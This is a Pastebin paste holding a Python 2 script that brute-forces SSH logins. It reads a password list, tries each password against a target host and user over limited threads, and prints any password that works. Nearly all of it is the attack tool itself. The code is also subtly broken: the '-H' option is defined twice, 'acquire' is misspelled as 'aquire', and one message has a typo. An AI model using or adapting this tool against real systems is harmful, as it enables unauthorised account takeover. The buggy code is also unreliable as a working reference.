Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #! /usr/bin/env python
- import pxssh
- import optparse
- import time
- from threading import *
- maxConnections = 5
- connection_lock = BoundedSemaphore(value=maxConnections)
- Found = False
- Fails = 0
- def connect(host, user, password, release):
- global Found
- global Fails
- try:
- s = pxssh.pxssh()
- s.login(host, user, password)
- print '[+] Password Found: ' + password
- Found = True
- except Exception, e:
- if 'read_nonblocking' in str(e):
- Fails += 1
- time.sleep(5)
- connect(host, user, password, False)
- elif 'synchronize with original prompt' in str(e):
- time.sleep(1)
- connect(host, user, password, False)
- finally:
- if release: connection_lock.release()
- def main():
- parser = optparse.OptionParser('usage%prog '+\
- ' -H <target host> -u <user> -F <password list>')
- parser.add_option('-H', dest='tgtHost', type='string', \
- help='specify target host')
- parser.add_option('-H', dest='passwdFile', type='string', \
- help ='specify password file')
- parser.add_option('-U', dest='user', type='string', \
- help='specify the user')
- (options, args) = parser.parse_args()
- host = options.tgtHost
- passwdFile = options.passwdFile
- user = options.user
- if host == None or passwdFile == None or user == None:
- print parser.usage
- exit(0)
- fn = open(passwdFile, 'r')
- for line in fn.readlines():
- if Found:
- print "[*] Exiting: Password Found"
- exit(0)
- if Fails > 5:
- print "[!] Exiting: Too Many Socket Timepouts"
- exit(0)
- connection_lock.aquire()
- password = line.strip('\r').strip('\n')
- print "[-] Testing: "+str(password)
- t = Thread(target=connect, args=(host, user, \
- password, True))
- child = t.start()
- if __name__ == '__main__':
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement